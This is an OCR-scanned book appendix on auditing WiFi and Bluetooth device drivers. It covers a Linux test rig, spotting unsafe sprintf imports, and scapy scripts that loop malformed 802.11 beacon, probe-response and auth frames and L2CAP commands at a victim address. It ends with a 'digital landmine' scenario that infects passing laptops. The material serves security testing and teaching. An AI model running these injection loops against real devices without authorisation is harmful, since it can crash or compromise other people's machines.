Although the laptop has built-in WiFi and Bluetooth hardware, I decided to
go with third-party cards for both. I did this for two reasons, both of which
make it much easier to reproduce results. First, you can move the third-party
devices from one machine to another, which ensures that the same hardware
is being used and eliminates the minute difterences in hardware and firmware
implementations that may cause reproduction to be difficult or unreliable.
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Second, use of third-party hardware enables testers to select specific hardware
that may be better suited for fuzzing than the included hardware.

For my test environment I chose a NETGEAR WG511U for WiFi and a
Linksys USBBT100 version 2 adapter. Both of these devices are well sup-
ported under Fedora Core 5; in addition, almost every computer store carries
them, so they’re easy to find, and they are relatively cheap, so if your testing
manages to cause a hardware failure, replacing them is easy.

Now that your base operating system is installed and you have the third-
party hardware for communication with the target devices, you need to add
some software packages. Because building many of these testing tools will
require kernel source, the first thing to do is install the latest kernel, complete
with source, so that you can recompile modules at will. You can do this
through yum or by downloading the kernel source directly and building the
kernel from scratch; alternatively, you can use the existing kernel’s .config file
to ensure identical hardware support.

Wik

A third-party, open source driver, called MadWifi, is available for driving the
Atheros-based NETGEAR card. You can patch MadWifi with lorcon to allow
raw packet creation and injection. The patching process is fairly simple. You
just apply the relevant version of the patch files and the source tree should be
ready to be built. This should be as easy as typing make in MadWifi’s top-
level source tree.

If the installation is successful, the modules should be created in
/lib/modules/<running kernel version>/net. If the installation failed, the
MadWifi documentation offers a lot of help in terms of getting the card up
and running. To determine whether your card is up and running correctly,
you can issue the command iwconfig or iwlist athQ scan after the athO inter-
face has been brought up.

To perform raw traffic injection and sniffing you need to enable the raw
interface for ath0. Simply type sysctl —w dev.athO.rawdev=1 and then
ifconfig athOraw up. At this point, athOraw should be available for use with
network sniffers, allowing you to view the raw traffic that usually occurs at a
layer that is not visible.
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Your test machine needs to emulate an access point for some phases of
testing. It’s easy to write a script to quickly set this up, instead of using long
strings of commands. The script for my test machine is called setup.sh and it
looks like this:

#!/bin/bash

ifconfig ath0 up

ifconfig ath0 10.0.0.1

iwconfig essid "syngressForceAudit"
iwconfig ath0 mode Master

iwpriv athO0 mode 2

iwconfig ath0 channel 1

sysctl -w dev.athO.rawdev=1

ifconfig athOraw up

Bluetooth

Bluetooth is generally a snap to set up. If they are not already present, install
the packages for the BlueZ Linux Bluetooth stack. Prebuilt packages are
pretty easy to find, or you can compile them from source. It’s important to
note that for constructing Bluetooth fuzzing code, you need the develop-
ment library and headers. They should be in /usr/include/Bluetooth if they
are present.

An init script should be installed with the packages, allowing you to check
the card’s status with the command /etc/init.d/Bluetooth status. If it’s not run-
ning, you can start it with /etc/init.d/Bluetooth start. Veritying that Bluetooth
connectivity is up and running is as simple as using the hcitool command.
Issuing heitool —dev, for instance, will give you information about the currently
installed device, including its address. The command hcitool —scan should show
other Bluetooth devices in the area, and will definitely show whether the
installation is working properly.

To capture traffic and to learn about the protocol in general you can use a
tool called hcidump. Heidump supports a lot of the same features as a net-
work sniffer does, including some protocol decoding, as well as capturing to a
file and displaying the headers and the payloads of Bluetooth traffic.
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Testing the Drivers

Once you’ve established a good environment, it’s time to devise specific tests
for difterent types of drivers and protocols. You can do this in a number of
different ways, but the method I’ll cover here is the fuzzing method, whereby
you generate a large amount of malformed traffic to see whether the driver
has been developed correctly and can handle error conditions. For speed and
stability high-grade fuzzers are generally written in C. The downside to this is
that developing these tools generally takes a long time and minor tweaks
require rebuilds. For quick and simple fuzzing, you can use an interpreter lan-
guage such as Python. In fact, a Python tool called scapy 1s available that
makes fuzzing even easier, as it allows for rapid packet creation and injection
('l discuss scapy in more detail shortly).

To ensure that the fuzzer is effective you need to direct it in some way.
You can do this by analyzing the driver that will be targeted and looking for
weak segments of code. This can include code that uses too many memory
manipulation functions, such as memcpy; handles strings improperly; or just
does not appear to have very good error handling capabilities. You can quickly
determine whether unsafe functions are being used by looking at the func-
tions which a particular binary file will import.You can do this easily under
Windows using the dumpbin command with the /IMPORT option. Identity
what driver is to be tested and run dumpbin /IMPORT on it to see whether
any unsafe functions are being used (for instance, sprintf and strcpy). Figure B.4
shows the results of a running this command against the wireless driver in my
laptop, w29n51.sys.

[t’s easy to spot that sprintf 1s indeed used. At this point, this driver should
be loaded into a disassembler, such as IDA Pro from Data Rescue. This 1s an
excellent tool that allows someone auditing the binary to view the imports
table and find all references to it. Then it’s just a matter of time, as the best
method for finding weak code is to follow each reference and determine
whether it is an incorrect usage that can lead to memory corruption. Once
you’ve located a vulnerable call, it is easy to determine what kind of state the
driver has to be in and what type of traffic you need to generate to exercise
that particular code branch. This provides the basis for how to develop the
fuzzer and what to target, as shown in Figure B.5.

www.syngress.com



372 Appendix B * Device Driver Auditing

Figure B.4 The Results of Running dumpbin /IMPORT w29n51.sys

e C:AWINDOWS\system32\cmd.exe

[Microsoft (R» COFF Binary File Dumper Uersion 6.08.8168 -
Copyright (C) Microsoft Corp 1992-1998. All rights reserved. =

Eump of file w29n51.sys
ile Type: EXECUTABLE IMAGE
Section contains the following imports:

ntoskrnl.exe
78D88 Import Address Table
21FBEDE Import Wame Table
B time date stamp
B Index of first forwarder reference

568 _allrem

566 _aullshe

55E _allmul

2BE HMmUnmaploSpace

58F sprintf

55C _alldiv

4D8 WRITE_REGISTER_UCHAR
4D9 WRITE_REGISTER_ULONG

= Mope: -——

Figure B.5 A Listing from IDA Pro of All the References to sprintf in

w29n51.sys
xrefs to sprintf
Dir.. | T Addess Text e
g sprintf =
wlUp p sub_32025+8F call  sprintf
wlUp p sub_32025+FB call  sprintf
wWlp p o sub_32025+167 call  sprintf
wlUp p sub_32025+4103 call  sprintf
wlp p o sub_32025+23F call  sprintf
wllp p o sub_32025+24B call  sprintf
Wlp p o osub_32025+317 call  sprintf
wlp p o sub_32025+383 call  sprintf
wlUp p sub_41694+4D call  sprintf
dlUp p sub_41694+72 call  sprintf
wlp p o osub_41694+44 call  sprintf
lwlUp p sub_BB4BF+115 call  sprintf
lWlUp p  sub_SB4SF+1ED call  sprintf
wdlUp p  sub_SB4SF+19D call  sprintf b
QK ] ’ Cancel ] ’ Help ] ’ Search
Line 1 of 391

Wik

First up for auditing 1s 802.11. The best thing to do before filling the air with
malformed packets is to read the Request for Comments (RFC) for 802.11.
This will detail all the valid traftic, including what packets are supposed to
look like, the sequence in which these packets are sent and received, and gen-
erally how to implement the protocol. This is important because you want to
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look for things that have not been explicitly defined, such as what would
happen if packet type b was received before packet type a. If reversing the
driver doesn’t provide any good leads to start with, the RFC will.

Before crafting a packet we need to discuss the different WiFi states and
why each one is important:

m  Unassociated. This means that the machine has been brought up
but is not connected to any access point (AP), and may currently be
scanning for an AP on its trusted list to join. If a vulnerability is
found that could be exploited only in this mode, you might need to
do a bit more to make it work. This can include doing such things as
forcing a machine to disconnect from a network and look for a new
one, or impersonating the trusted AP for which it is searching.

m  Associated. This means that the machine is connected to an AP
and is able to communicate normally. This is the easiest state to
exploit, as more types of packets are accepted in this mode.
Exploitation of this state may not be difficult, but it could involve
you impersonating the AP.

m  Ad-Hoc. This means the machines can connect directly to each
other without an AP in the middle. Exploiting this state can be
tricky, but luckily, most drivers will default to this mode if they are
unable to find a trusted AP to join.

These states are important because any fuzzer run you conduct you
should repeat for all three states. Depending on the state, different types of
packets are accepted and could be processed differently or handled by a dif-
ferent code path.

Tip

The fuzzing run is useful only if the device is in the correct target state.
Sending lots of malformed data means that over time, the card may

change state and start looking for a better connection. This means that
the target may start ignoring your packets and your hour-long fuzzer

run may yield nothing. The best way to combat this is to have an agent
script of sorts to run on the victim machine, to make sure it stays in the
correct state. In Linux, you can script the iwconfig command to provide
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this type of functionality. In OS X, the airport command can do the same
thing.

A Quick Intro to Scapy

Scapy supports the creation of many difterent packet types. To get a list of all
supported types for packet creation, run the scapy script and then issue an Is()
command. For wireless fuzzing, Dot11 is the type that can create the correct
sorts of packets. Bluetooth packets are created by the L2ZCAP type.To get
more information about what arguments are passed to a specific type you can
issue the [s() command on that specific type.

One extremely nice feature of scapy is the fuzz() function.You can
enclose any type with the fuzz() function and any argument that is not sup-
plied will be generated randomly. This combined with packets being sent in a
loop and the basic fuzzer logic is already done. Scapy has the ability to auto-
matically generate random parts of protocols builtin, which is basically all that
fuzzing is. The ability to do this combined with scapys ability to generate dif-
ferent random values for a field every time a packet is sent using the scapy
loop feature creates the most basic of fuzzzers, but it is still very effective. You
send packets using the sendp() command. The sendp command also lets you
specify whether the packet should be sent in a loop. For example:

sendp (frame, loop=1)

The preceding command will inject the packet that has been built and
stored in a variable named frame. It will loop indefinitely, as shown in Figure
B.6.

Figure B.7 shows a small sample of the types of packets that can be gener-
ated quickly using scapy.
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Figure B.6 Injected Packet

$./scapy.py
INFO: did not find python gnuplot wrapper . Won't be abhle to plot

INFO: Can't import PyE. Won't be able to use psdump () or pdfdump ()
WARMNING: Failed to execute tcpdump. Check it is installed and in the PATH
INFO: Can't find Crypto python likh. Won't be abhle to decrypt WEP

INFO: Can't open /etc/ethertypes file

e lcome to Scapy (1.0.4.53beta)

ARP

BOOTPE

cooked linux

DHCP options

DIE

DN3 Question Record

DN3 Fesource Record

g02.11

802.11 ATIM

DotllissoReqg @ 802.11 Association Regquest
DotllissoResp @ 802.11 Association Besponse
Dotiliuth : 80Z.11 Authentication
DotllBeacon : S02.11 Beacon

DotlliDeauth : S02.11 Deauthentication
Dotlllisas : 80Z.11 Disassociation
DotllELC : 802.11 Information Element

Figure B.7 The Arguments Passed to the Dot11 Scapy Type

>»» 1ls(Dotll)

subtype : BitField = (o)

type : BitEnumField = (o)

proto : BitField = (o)

FCfield : FlagsField = (o)

I : ShortField = (0}

addril : MACField = ('O0:00:00:00:00:00'
addri : DoclliddriMACField = ('O0:00:00:00:00:00'
addr3 : Doclliddr3MACField = ('O0:00:00:00:00:00'
3C : Docll3CField = (0]

addr4 : Doclliddr4MACField = ('O0:00:00:00:00:00'
e A e

It’s easy to set these arguments, as shown here:

#!/bin/env python

import sys

from scapy import *

victim=sys.argv[1]

attacker=sys.argv[2]

conf.iface="athOraw"

ress.co
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frame=Dot1ll (subtype=1, type=0, addrl=victim, addr2=attacker,
addr3=attacker)

sendp (frame)

With just a few short commands, we’re generating raw packets.
It’s easy to do basic WiFi packet injection using scapy. For instance, the
following few lines of code can fuzz the ssid tag in a beacon packet:

Beacon.py:

#!/usr/bin/python

import sys
from scapy import *

import time

conf.iface="athOraw”
attacker=RandMAC ()

victim=sys.argv[1]

frame=Dot1l1l (addrl=victim ,addr2=attacker,addr3=attacker)/
DotllBeacon (cap="ESS”) /
Dot1l1Elt (ID="SSID", info=RandString (RandNum(100,255)))/
Dotl11lElt (ID="Rates", info="'\x82\x84\x0b\x16"')/
Dotl11Elt (ID="DSset",info="\x03")/
Dot11lElt (ID="TIM", info="\x00\x01\x00\x00")

while 1:

sendp (frame)
And to run it, its just a simple:

#./beacon.py <victim mac addr>

You also can perform fuzzing of scan results and fuzzing of auth packets in
Ad-Hoc mode. Regardless, they are run in the same way as the preceding
script:

Scan-result.py:

#!/usr/bin/python

import sys
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from scapy import *

victim=sys.argv[1]

attacker=RandMAC ()
conf.iface="athOraw"

frame=Dot11 (subtype=5, addrl=victim, addr2=attacker, addr3=attacker)/
DotllProbeResp (timestamp=1, cap=0x411)/
Dotl11lElt (ID=0, info=RandString (RandNum(1,50)))/
DotllElt (ID="Rates", len=8, info="\x82\x84\x0b\x1l6")/
Dotl1lElt (ID=3, len=1, info="\x01")/
Dotl1llElt (ID=42, len=1, info="\x04")/
Dotl1ll1Elt (ID=47, len=1, info="\x04")/
Dotl1lElt (ID=50, len=4, info="\x0c\x12\x18\x60")/
Dotl11lElt (ID=221, len=6, info="\x00\x10\x18\x02\x01\x05")/
Dotl1lElt (ID=221, info=RandString(RandNum(1l, 250)))

while 1:

sendp (frame)

Ad-hoc.py:
#!/usr/bin/python

import sys

from scapy import *

conf.iface="athOraw"
attacker=RandMAC ()

victim=sys.argv[1l]

frame=Dot1ll (addrl=victim ,addr2=attacker,addr3=victim)/
fuzz (Dotl1lAuth())

sendp (frame, loop=1)

The C equivalents of these scripts would be much longer and more diffi-
cult to modify between runs.
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Bluetooth

Bluetooth is a lot like WiFi from an auditing standpoint. The first step is to
find your target. For the purpose of auditing, the target device should be set
to discoverable mode. This means that if an hcitool scan is run it will be
found, as shown in Figure B.8.

Figure B.8 The Result of Scanning for Local Bluetooth Devices

ocalhost~

Fle Edit View Terminal Tabs Help

[root@localhost ~]# heoitool scan =
Scanning ...
O:18:C5:2A:E8:AF Daves toy
00:12:62:4F:A8:05 dave
[root@localhost ~]# D

As with WiFi, you should examine the RFC for Bluetooth for possible
places to start. A great place to start is simple fuzzing at the L2cap layer. Out-
of-sequence packets combined with oversized requests have yielded the best,
most effective results in the past.

You can find more information about the Bluetooth packet structure in
the [2cap.h file, which also contains the defines for the L2cap command codes.
It is easy to generate an 12cap command packet and iterate through each
command code. The structure of the Bluetooth header is simple, and scapy
supports it, as shown in Figure B.9.

Figure B.9 Support for Bluetooth in Scapy

[ =
S CBX
s> 13 (LZCAP Hdr) ~
len : LEShortField = [(MNone)
nie & : LEShortEnumField = (o)
s> 13 (LZCAP CrdHdr) =
code : ByteEnumField = {8)
id : ByteField = (o)
len : LEShortField = [MNone) b

The L2CAP command codes from 12cap.h. These are useful as a starting
place for bluetooth fuzzing.

/* L2CAP command codes */
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#define
#define
#define
#define
#define
#define
#define
#define
#define
#define
#define

L2CAP_COMMAND REJ
L2CAP CONN REQ
L2CAP_CONN RSP
L2CAP_CONF_ REQ
L2CAP CONF RSP
L2CAP_DISCONN REQ
L2CAP_DISCONN RSP
L2CAP ECHO REQ
L2CAP_ECHO RSP
L2CAP_INFO REQ
L2CAP INFO RSP

0x01
0x02
0x03
0x04
0x05
0x06
0x07
0x08
0x09
0x0a

0x0b
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Here’s a simple code snippet that would loop through each of the com-

mand codes follows. You can fill in the remaining options or use the fuzz()

function to generate them:

>>> cmd=1

>>> while cmd!=12:

frame=L2CAP_Hdr () /L2CAP_CmdHdr (code=cmd)

cmd=cmd+1

If you are lucky, the results of your fuzzing in either WiFi or Bluetooth

will yield a bluescreen such as that shown in Figure B.10.This is a crash that

resulted from fuzzing a Bluetooth implementation that is available with a

common laptop.

Tip

Don't limit fuzzing attempts to computers. More and more devices are
integrating these both Bluetooth and Wifi, including mobile phones,
PDAs, and embedded devices such as WiFi routers. These devices are
generally more difficult to compromise than a laptop or desktop, but
they are also more likely to contain vulnerabilities. The biggest problem
with these types of devices is patching them, because there generally
isn"t a good way to apply a security update which would ensure that a
vulnerability will be exploitable for a long time to come.

www.syngress.com



380 Appendix B ¢ Device Driver Auditing

Figure B.10 Results of Fuzzing in Bluetooth
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Looking to the Future

Device drivers are a serious problem, and they are not going anywhere. Aside
from the techniques that we’ve covered here, what’s next? The fuzzing that we
discussed happens above the physical layer, mostly because even with the level
of access our Linux auditing platform gives us, fuzzing at the physical layer
generally isn’t possible yet. Advances are being made in the area, however,
including such innovations as software-defined radio (sdr). An sdr would allow
testing to affect wireless at the physical layer, to create almost any packet and
signal strength. This would allow auditing of not only the driver that is run by
the operating system, but also the firmware that operates the device itself.
Vendors are taking steps to help eliminate driver problems, and they’re
using a variety of different techniques. Recent x86 processors and the oper-
ating systems that run on them have begun to take advantage of features such
as N X, or non-executable memory, which makes certain regions of memory
unable to execute code and is intended to cut down the eftectiveness of

buffer overruns.
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Hypervisors are another avenue to explore. Hypervisors are intended to
allow different operating systems to run on the same physical hardware.
Because a hypervisor has ultimate control over the peripherals and things such
as physical memory access, an attacker would need to circumvent this to con-
duct a device driver exploit.

Both of these methods are just obstacles to preventing exploitation. To be
honest, almost all obstacles for preventing exploitation can be evaded, and the
only way to truly fix this hole is to implement better coding practices and
only allow use of drivers that follow these practices.

So, what is the worst-case scenario of someone using these types of attacks
in the wild? Because most attacks against device drivers would require an
attacker to be within certain proximity of the victim, how bad can the situa-
tion be? This is where the digital landmine comes into play. A digital landmine
1s a small, single-board PC which you can hide in high-traffic areas that
would also coincide with laptop usage. The single-board PC would be out-
fitted with a wireless card that can do raw packet injection, along with a
Bluetooth module and an operating system that can take advantage of the
hardware. This machine would be loaded with a variety of diftferent exploits
for different operating systems. The remote operating systems would be
remotely determined through a variety of difterent methods, such as finger-
printing the drivers. When a vulnerable machine is found, the exploit would
launch and, if successful, would install a malicious payload containing a bot
that could log into a command and control the network when Internet access
is available. If the vulnerable device was not a computer, but rather something
such as a mobile phone with Bluetooth enabled, the digital landmine could
capture things such as phonebooks containing information that spammers
could use, such as phone numbers and e-mail addresses.

This may not seem like much, but think about how many people and vul-
nerable devices pass through places such as airports, coftee shops, train sta-
tions, conferences, and so on. Putting a digital landmine in place with exploits
for common built-in wireless cards of popular laptops and mobile devices
could harvest a couple of hundred new zombies per week, and countless
phone numbers and e-mail addresses for spamming purposes.

The worst part of these scenarios is what the defense 1s for them. Because
drivers are operating at such a low level, things such as personal firewalls and
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host-based IPS devices might not be able to stop or even detect these types of
attacks. If vulnerabilities are discovered at the driver level, there really isn’t
much protection from them, aside from disabling the corresponding device
for the vulnerable driver. This means the only good protection from a WiFi
vulnerability is to not use WiFi in an untrusted area. Many attacks can happen
without end-user interaction or knowledge.

Keep this in mind the next time you are in a crowded area full of laptops,
and there are a surprisingly high number of system crashes.
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Summary

Device drivers have more of an impact on the average user than previously
thought. New adoption of technologies such as Wif1 and Bluetooth is
exposing drivers to short-range attacks than can have devastating results.
Fortunately, you can use simple tools that are easy to throw together, to test
the lack of proper packet sanitation and check for errors. Driver bugs are dif-
ficult to exploit now, but as more information becomes available, the amount
of technical expertise required will continue to drop. If a malicious attacker
does have an exploit for WiFi or Bluetooth, you can’t do much to protect
against these attacks, apart from disabling the affected hardware.
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